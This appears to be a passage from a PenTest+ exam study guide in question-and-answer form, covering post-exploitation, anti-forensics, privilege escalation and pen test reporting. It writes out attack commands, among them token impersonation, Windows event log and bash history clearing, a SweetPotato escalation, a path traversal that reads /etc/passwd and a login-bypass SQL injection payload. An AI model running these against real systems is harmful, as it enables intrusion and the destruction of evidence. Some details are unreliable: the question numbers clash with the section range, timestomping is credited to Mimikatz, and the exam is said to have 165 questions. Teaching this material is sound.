What is token impersonation/manipulation in Windows?

A:

Windows access tokens contain user identity and privilege information. Token manipulation techniques: Token impersonation (steal and use another logged-in user's token to act as them — Incognito tool, Meterpreter's 'steal_token'), CreateProcessWithTokenW (run process as another user), and SeImpersonatePrivilege exploitation (Potato attacks — allows token impersonation when the privilege is held by service accounts).

Example:

Meterpreter shell as 'IIS AppPool\WebApp' service account (low privilege): 'use incognito; list_tokens -u' □ shows 'CORP\Administrator' token available (admin logged into this server). 'impersonate_token "CORP\Administrator"' □ now running as Domain Admin! The web server's IIS process had access to the administrator's token — token impersonation escalated from web service account to Domain Admin without any additional exploitation.

Q193.

What is cloud post-exploitation (AWS)?

A:

Cloud post-exploitation after compromising AWS credentials or EC2 metadata: enumerate IAM permissions ('aws iam list-attached-user-policies'), discover S3 buckets ('aws s3 ls'), access EC2 instances ('aws ec2 describe-instances'), escalate privileges via misconfigured IAM roles, pivot to other cloud services, and exfiltrate data from storage. Tools: Pacu (AWS exploitation framework), Scout Suite.

Example:

After stealing AWS credentials from a compromised server: Pacu modules: 'iam__enum_permissions' □ reveals AdministratorAccess policy. 'iam__privesc_scan' □ finds 5 escalation paths. 's3__bucket_finder' □ discovers 23 S3 buckets including 'corp-backups' with full database backups. 'ec2__enum' □ 47 EC2 instances across 3 regions. 'lambda__enum' □ 12 Lambda functions with hardcoded secrets in environment variables. Complete cloud environment mapped from one set of stolen credentials.

Q194.

What is clearing tracks and anti-forensics?

A:

Clearing tracks minimises evidence of an attacker's presence. Techniques: clearing event logs (Windows: 'wevtutil cl Security'), deleting bash history (Linux: 'history -c; echo " > ~/.bash_history)'), deleting temporary files and tools, modifying file timestamps (timestomping), disabling audit logging, using in-memory-only payloads (no disk artifacts), and overwriting files. Note: in pen testing, track clearing is documented — not actually performed on production systems.

Example:

Anti-forensic techniques demonstrated (without actually clearing): Mimikatz timestomping: 'cmd /c timestomp malware.exe -m 01/01/2020'. Windows Event Log clearing: 'wevtutil cl Security'. Bash history: 'export HISTFILE=/dev/null' (disables history for session). In-memory payload: entirely in RAM — survives no disk forensics. Each technique is documented in the pen test report as 'possible attacker activity with evasion capabilities' — demonstrating how a real attacker could hide their presence.

Q195.

What is local privilege escalation in Windows with common exploits?

A:

Common Windows local privilege escalation (LPE) exploits: CVE-2021-34527 PrintNightmare (any auth user □ SYSTEM), CVE-2019-1388 (UAC bypass via Windows Certificate Dialog), Token manipulation via SeImpersonatePrivilege (Juicy Potato, Rogue Potato, Sweet Potato), unquoted service paths, DLL search order hijacking, and kernel exploits (CVE-2021-1732, CVE-2020-0787).

Example:

WinPEAS identifies SeImpersonatePrivilege enabled for the IIS service account. Sweet Potato attack: 'SweetPotato.exe -p C:\Windows\System32\cmd.exe'. SweetPotato abuses COM/WinRM to create a process as SYSTEM by impersonating a SYSTEM token. Result: NT AUTHORITY\SYSTEM shell from IIS service account. This technique works on default IIS installations — any web app on a default IIS server is one LPE from SYSTEM.

Q196.

What is the difference between Domain Admin and Enterprise Admin in AD?

A:

- Domain Admin: Admin rights within a single AD domain. Can manage all objects (users, computers, GPOs) in their domain and all member servers/workstations. Access is limited to their domain.
- Enterprise Admin: The highest privilege in an AD forest — admin rights across ALL domains in the forest. Exists only in the forest root domain. The ultimate target in AD attacks — compromises every domain in the entire organisation.

Example:

A company has forest: corp.local with two domains: india.corp.local and uk.corp.local. Domain Admin of india.corp.local can manage all Indian servers but cannot access UK servers. Enterprise Admin of corp.local manages BOTH domains. A pen tester who achieves Enterprise Admin can: reset passwords for UK domain admins, access UK file servers, modify cross-domain trusts, and read the forest's entire configuration. Enterprise Admin = complete organisational compromise.

Section 08: Reporting & Communication | Questions 276–300

Q197.

What is the structure of a professional penetration test report?

A:

A professional pen test report includes: 1) Cover Page (client name, engagement type, date, classification), 2) Executive Summary (non-technical, business risk focus), 3) Scope and Methodology, 4) Findings Summary (table with severity, CVSS, affected systems), 5) Detailed Findings (each vulnerability with description, evidence, risk rating, and remediation), 6) Risk Ratings (CVSS matrix), 7) Appendices (tool output, raw scans, methodology references).

Example:

Report structure for a bank pen test: Cover: 'CONFIDENTIAL – External Penetration Test – HDFC Bank – October 2024'. Executive Summary: 'Critical vulnerabilities allow unauthenticated remote access to customer data. Immediate remediation required.' Findings Table: 3 Critical, 8 High, 12 Medium, 7 Low. Detailed finding #1: 'SQL Injection in Login Portal – CVSS 9.8 – Evidence: Screenshot + Proof of database dump – Remediation: Parameterised queries'. Appendix: Nessus scan output, Burp Suite screenshots.

Q198.

What is an executive summary in a pen test report?

A:

The executive summary is the most important section for non-technical stakeholders (CEO, CISO, Board). It should: describe the overall security posture in business terms (not technical jargon), highlight the most critical findings and their business impact (data breach risk, regulatory exposure, financial impact), summarise risk rating (High/Medium/Low overall), and provide high-level remediation recommendations with timeline suggestions.

Example:

Executive Summary example: 'During the 5-day assessment, our team identified critical vulnerabilities that would allow an unauthenticated attacker to access the personal data of 50,000+ customers within 30 minutes. This exposure creates significant GDPR liability (fines up to €20M) and reputational risk. Three immediate actions are recommended: 1) Emergency patch of the web server (48 hours), 2) WAF implementation (1 week), 3) Security awareness training (1 month).' Business language, not technical jargon.

Q199.

What is a finding description and what should it include?

A:

A well-written finding description includes: Title (clear, specific), Severity/CVSS Score, Affected Systems (specific IP/URL/component), Vulnerability Description (what the weakness is – technical but clear), Business Impact (what an attacker could do – business consequences), Evidence (screenshot, request/response, proof-of-concept command), Steps to Reproduce (for the client to verify), and Remediation Recommendation (specific, actionable fix).

Example:

Finding: SQL Injection in User Login

Severity: Critical (CVSS 9.8)

Affected: <https://portal.company.com/login>

Description: The username parameter is vulnerable to SQL injection – user input is concatenated directly into the SQL query without parameterisation.

Impact: An attacker could bypass authentication, access all user accounts, and extract the complete customer database (50,000 records).

Evidence: [Screenshot of admin login bypass]

Reproduce: Enter username: `admin'--` , any password

Fix: Implement parameterised queries (prepared statements) in the authentication module.

Q200.

What is CVSS and how is a CVSS score calculated?

A:

CVSS (Common Vulnerability Scoring System) v3.1 base score uses: Attack Vector (Network/Adjacent/Local/Physical), Attack Complexity (Low/High), Privileges Required (None/Low/High), User Interaction (None/Required), Scope (Changed/Unchanged), and CIA Impacts (None/Low/High for Confidentiality, Integrity, Availability). Scores: 0.0=None, 0.1-3.9=Low, 4.0-6.9=Medium, 7.0-8.9=High, 9.0-10.0=Critical.

Example:

Calculating CVSS for a remote SQL injection vulnerability:

AV:N (Network exploitable) + AC:L (Low complexity – no special conditions) + PR:N (No privileges) + UI:N (No user interaction) + S:C (Scope Changed – access to database beyond web app) + C:H (High confidentiality impact) + I:H (High integrity) + A:H (High availability)

= CVSS Base Score: 10.0 (Critical). This maximum score reflects the severe, unauthenticated, network-accessible impact.

Q201.

What is risk rating in penetration test reporting?

A:

Risk rating combines vulnerability severity (CVSS) with business context to produce a final risk rating. Factors: CVSS base score (technical severity), asset criticality (impact if this specific system is compromised), exploitability (public exploit available? Being exploited in wild?), and business exposure (internet-facing? Holds PII? PCI scope?). A High CVSS on a non-critical internal system may be rated Medium risk; a Medium CVSS on a public-facing PCI system may be rated Critical.

Example:

Two vulnerabilities both have CVSS 7.5 (High):

Vuln A: Unpatched software on an internet-facing payment portal (processes 10,000 transactions/day, PCI DSS scope, public exploit available) □ Risk Rating: Critical (business context elevates it).

Vuln B: Same vulnerability on an offline backup server in a locked data centre (no internet access, no sensitive data, requires physical access) □ Risk Rating: Medium (business context reduces it).

Same CVSS, different business risk.

Q202.

What is remediation guidance in pen test reporting?

A:

Remediation guidance provides specific, actionable instructions for fixing each vulnerability. Good remediation includes: specific technical fix (not just 'patch the server'), code examples where applicable, configuration changes needed, testing instructions to verify the fix is effective, and time priority recommendations (immediate vs 30 vs 90 days). Generic advice ('implement security best practices') is unhelpful and unprofessional.

Example:

Poor remediation: 'Fix the SQL injection vulnerability.' Good remediation: 'Replace dynamic SQL string concatenation with parameterised queries (prepared statements). Example fix in PHP: change `$query = "SELECT * FROM users WHERE username='$username'";` to `$stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");` `$stmt->execute([$username]);`. Test by attempting to submit the payload `admin'--` in the username field and confirming the query no longer bypasses authentication.'

Q203.

What is an attack narrative in pen test reporting?

A:

An attack narrative (or attack chain) describes the complete attack path from initial access to final objective in a storytelling format. It shows how individual vulnerabilities chain together to achieve significant impact – demonstrating that seemingly low/medium findings, when combined, create critical risk. It helps clients understand the real-world attack scenario beyond individual technical findings.

Example:

Attack Narrative: 'Our team began by identifying an exposed administrative login page via Google Dorking. A brute-force attack revealed weak admin credentials (admin/admin123). Logging into the admin panel provided access to a file upload feature with no type validation. Uploading a PHP web shell granted remote code execution. Privilege escalation using an unquoted service path yielded SYSTEM access. Lateral movement via the NTLM hash of the service account reached the domain controller – achieving Domain Admin within 4 hours from a publicly accessible web page.'

Q204.

What is the difference between a technical report and an executive report?

A:

- **Technical Report:** Written for IT/security teams — includes all technical details: CVEs, CVSS scores, attack commands, code snippets, Wireshark screenshots, request/response pairs, exact tools used, and step-by-step reproduction instructions. Enables technical teams to understand, reproduce, and remediate findings.
- **Executive Report:** Written for C-suite and board — business language, no jargon, focuses on business risk, regulatory implications, estimated financial impact, and high-level remediation roadmap.

Example:

Technical finding: 'Apache 2.4.49 CVE-2021-41773 Path Traversal (CVSS 7.5). Proof: curl http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd □ root:x:0:0:root:/root:/bin/bash. Exploit chain possible with CVE-2021-42013 for RCE.' Executive translation: 'The company's website uses outdated software that allows anyone on the internet to read internal server files, including password files. If exploited, attackers could gain full control of the web server within minutes, exposing all customer data.'

Q205.

What is a re-test or validation engagement?

A:

A re-test (validation scan) is a follow-up engagement performed after the client has implemented fixes for vulnerabilities identified in the original pen test. The pen tester verifies that: all findings have been properly remediated, fixes don't introduce new vulnerabilities, and residual risks are documented. The output is a Remediation Validation Report confirming the effectiveness of fixes.

Example:

Original pen test found 3 Critical, 8 High vulnerabilities. Client implements fixes. Re-test 30 days later: 3/3 Criticals confirmed remediated (patches applied, configurations fixed). 6/8 High resolved. 2/8 High partially remediated — WAF blocks the exploit but root cause (unpatched software) remains. The re-test report documents: 'Critical findings: 100% remediated. High findings: 75% remediated, 25% partially mitigated with compensating controls pending permanent fix.'

Q206.

What is responsible disclosure in penetration testing?

A:

Responsible disclosure is the practice of privately notifying a software vendor or organisation about a discovered vulnerability, allowing them time to develop and release a fix before public disclosure. For pen testers: all findings stay confidential (per NDA), reported only to the client. For independent researchers: notify vendor □ agree on fix timeline (typically 90 days) □ disclose publicly after patch is released (coordinated disclosure).

Example:

An independent security researcher discovers a critical vulnerability in a popular Indian banking app. Responsible disclosure: 1) Report to bank's security team privately with full technical details, 2) Agree on 90-day fix timeline, 3) Bank patches the app and notifies affected customers, 4) Researcher publishes technical writeup after confirmation of patch release. This protects users while allowing the researcher to get credit — contrasted with full immediate disclosure which would help attackers before a fix exists.

Q207.

What are the common metrics tracked in a pen test report?

A:

Key pen test metrics: Total vulnerabilities by severity (Critical/High/Medium/Low/Info), vulnerabilities by category (network, web app, host), number of compromised systems, time to initial access (from start to first shell), time to Domain Admin, attack paths to critical assets, and comparison with previous engagement (improvement or regression). Metrics help management track security improvement over time.

Example:

Quarterly pen test metrics dashboard for a company: Q1 2024: 5 Critical, 15 High, 32 Medium. Q2 2024 (after remediation programme): 1 Critical, 8 High, 28 Medium. Q3 2024: 0 Critical, 5 High, 21 Medium. Trend: Critical findings reduced 100% over 2 quarters. Time to Domain Admin improved from 2 hours (Q1) to 'not achieved within 5-day engagement' (Q3). Clear security improvement demonstrated through pen test metrics.

Q208.

What is pen test communication protocol during engagement?

A:

Pen test communication protocols ensure professional, secure communication throughout the engagement: Secure communication channel (encrypted email/Signal for sensitive findings), regular status updates (daily brief to the point of contact — what was tested, what was found), immediate escalation for critical findings (call, don't email), use of agreed communication schedule, and maintaining professional confidentiality (don't discuss findings with non-authorised client staff).

Example:

Pen test communication protocol: Day 1 start email confirming scope and kickoff. Daily 4 PM status email: 'Today tested external IP range 203.x.x.1-10. Found 2 open ports. No critical findings yet. Tomorrow: testing web application.' Day 3 critical finding: IMMEDIATE phone call to CISO. End of engagement: debrief call before final report delivery. All finding communication via encrypted ProtonMail — never via client's regular email (could be intercepted by a compromised mail server).

Q209.

What is the PTES reporting standard?

A:

The Penetration Testing Execution Standard (PTES) reporting standard defines the minimum reporting requirements for a professional pen test report. It mandates: Executive Summary, Technical Report covering all phases (pre-engagement, intelligence gathering, threat modelling, vulnerability analysis, exploitation, post-exploitation, and risk exposure), findings with CVSS scores, remediation recommendations, and a conclusion. Adhering to PTES ensures consistency and completeness.

Example:

A pen testing firm uses PTES to structure all reports. For each engagement they ensure every PTES section is addressed: Intelligence Gathering section documents all OSINT performed, Exploitation section includes attack chains with step-by-step evidence, Post-Exploitation section demonstrates business impact (data accessed, systems reached), and the Risk Exposure section ties technical findings to regulatory and financial risk. PTES adherence becomes the firm's quality standard — clients know exactly what to expect.

Q210.

What is a debriefing meeting after a penetration test?

A:

The debriefing meeting is a formal meeting held after the assessment (but before or alongside the final report) to: present findings verbally with live demonstrations, allow the client to ask questions, discuss context the written report may not capture, provide immediate clarification on technical findings, discuss remediation priorities and timelines, and gather client feedback. It bridges the gap between the technical report and the client's understanding.

Example:

Debrief for a logistics company: The pen tester shares screen, demonstrates the SQL injection live (in a test environment): 'Watch – I type this in your login form, and I can see ALL your customer orders without a password.' The CTO immediately understands the severity – what would have been a paragraph in a report becomes a visceral demonstration. The CISO commits to a 48-hour emergency patch. Live demonstrations in debriefs increase remediation urgency far more than written reports alone.

Q211.

What is threat modelling in post-engagement reporting?

A:

Post-engagement threat modelling in the report maps discovered vulnerabilities to realistic attacker threat scenarios and profiles. It answers: 'Given what we found, how would a specific threat actor attack this organisation?' It uses MITRE ATT&CK; to reference TTPs, assesses which threat actors (ransomware groups, insider threats, nation-states) could realistically exploit the findings, and helps prioritise remediation based on the most likely attack scenarios.

Example:

Post-engagement threat model for a manufacturing company: 'Given the external RDP vulnerability (finding #1), weak AD passwords (finding #3), and lack of network segmentation (finding #7), ransomware groups like LockBit could successfully: 1) Brute-force RDP credentials [T1110], 2) Move laterally to OT network [T1021], 3) Encrypt both IT and OT systems, halting production [T1486]. This scenario maps to active TTPs of LockBit 3.0 as documented in CISA advisory AA23-165A.'

Q212.

What is a security maturity assessment in pen test reporting?

A:

A security maturity assessment evaluates the client's overall security programme maturity level based on pen test findings. Models used: CMMI (Capability Maturity Model Integration), C2M2 (Cybersecurity Capability Maturity Model), or custom rating scales. It rates: detection capabilities, response procedures, preventive controls, patch management effectiveness, and security awareness. It gives clients a holistic view beyond individual vulnerabilities.

Example:

Post-pen-test maturity assessment for a mid-size company: Prevention (firewalls, AV) – Mature (Level 3). Detection (SIEM, logging) – Developing (Level 2 – missed the pen test for 3 days). Response (IR plan, playbooks) – Initial (Level 1 – no formal IR plan triggered). Patch Management – Managed (Level 3 – patched within 30 days). Security Awareness – Initial (Level 1 – 25% phishing click rate). Overall: Level 2 – Developing. Roadmap to Level 4 provided with prioritised investments.

Q213.

What is evidence collection and handling during pen testing?

A:

Evidence collection during pen testing documents proof of each finding: screenshots (with timestamps), raw HTTP requests/responses (Burp Suite HTTP history export), command-line output saved to log files, network packet captures (PCAP files), video recordings of critical exploitations, and tool output logs. Evidence must: clearly show the vulnerability, demonstrate impact, and include enough context for reproduction.

Example:

Documenting SQL injection evidence: 1) Screenshot of Burp Suite showing the injected request with payload highlighted, 2) Screenshot of response showing database dump (first 5 rows of 50,000 – minimising actual data exposure), 3) Raw request/response exported from Burp (copy-paste in report appendix), 4) sqlmap command and output saved as text file. Four evidence pieces for one finding – irrefutable proof that the vulnerability is real and exploitable, not theoretical.

Q214.

What is penetration test classification and confidentiality handling?

A:

Pen test reports contain highly sensitive information about an organisation's security weaknesses. Classification: minimum 'CONFIDENTIAL', often 'STRICTLY CONFIDENTIAL – RESTRICTED DISTRIBUTION'. Handling requirements: encrypted PDF (password protected), transmission via encrypted email or secure client portal, strict distribution list (CISO, CTO, relevant IT managers only), physical copies must be secured/shredded, and reports must not be stored on shared drives or emailed to personal addresses.

Example:

Report handling procedure: Pen test report saved as password-protected PDF (AES-256). Password communicated via separate channel (phone call to CISO directly). Transmitted via client's secure document portal (or encrypted email via ProtonMail). Distribution list: CISO, CTO, IT Manager only. Footer on every page: 'STRICTLY CONFIDENTIAL – This document contains details of security vulnerabilities. Distribution without authorisation is prohibited.' Cover page includes destruction requirement: 'Securely destroy all copies after remediation is complete.'

Q215.

What are the key CompTIA PenTest+ PT0-002 exam domains and their weightings?

A:

CompTIA PenTest+ PT0-002 Exam Domains:

1. Planning and Scoping – 14%
2. Information Gathering and Vulnerability Scanning – 22%
3. Attacks and Exploits – 30%
4. Reporting and Communication – 18%
5. Tools and Code Analysis – 16%

Total: 165 questions (multiple choice and performance-based). Passing score: 750/900. Duration: 165 minutes.

Example:

PenTest+ study strategy based on domain weightings: Attacks & Exploits (30%) – highest weight – master: web attacks, network attacks, social engineering, and privilege escalation. Information Gathering (22%) – second highest – master: OSINT, Nmap, Nikto, Burp Suite, enumeration techniques. Reporting (18%) – critical for professional practice – master: CVSS scoring, report structure, remediation guidance. Plan 5 hours of study per domain percentage point: 30% domain = 150 hours of study.
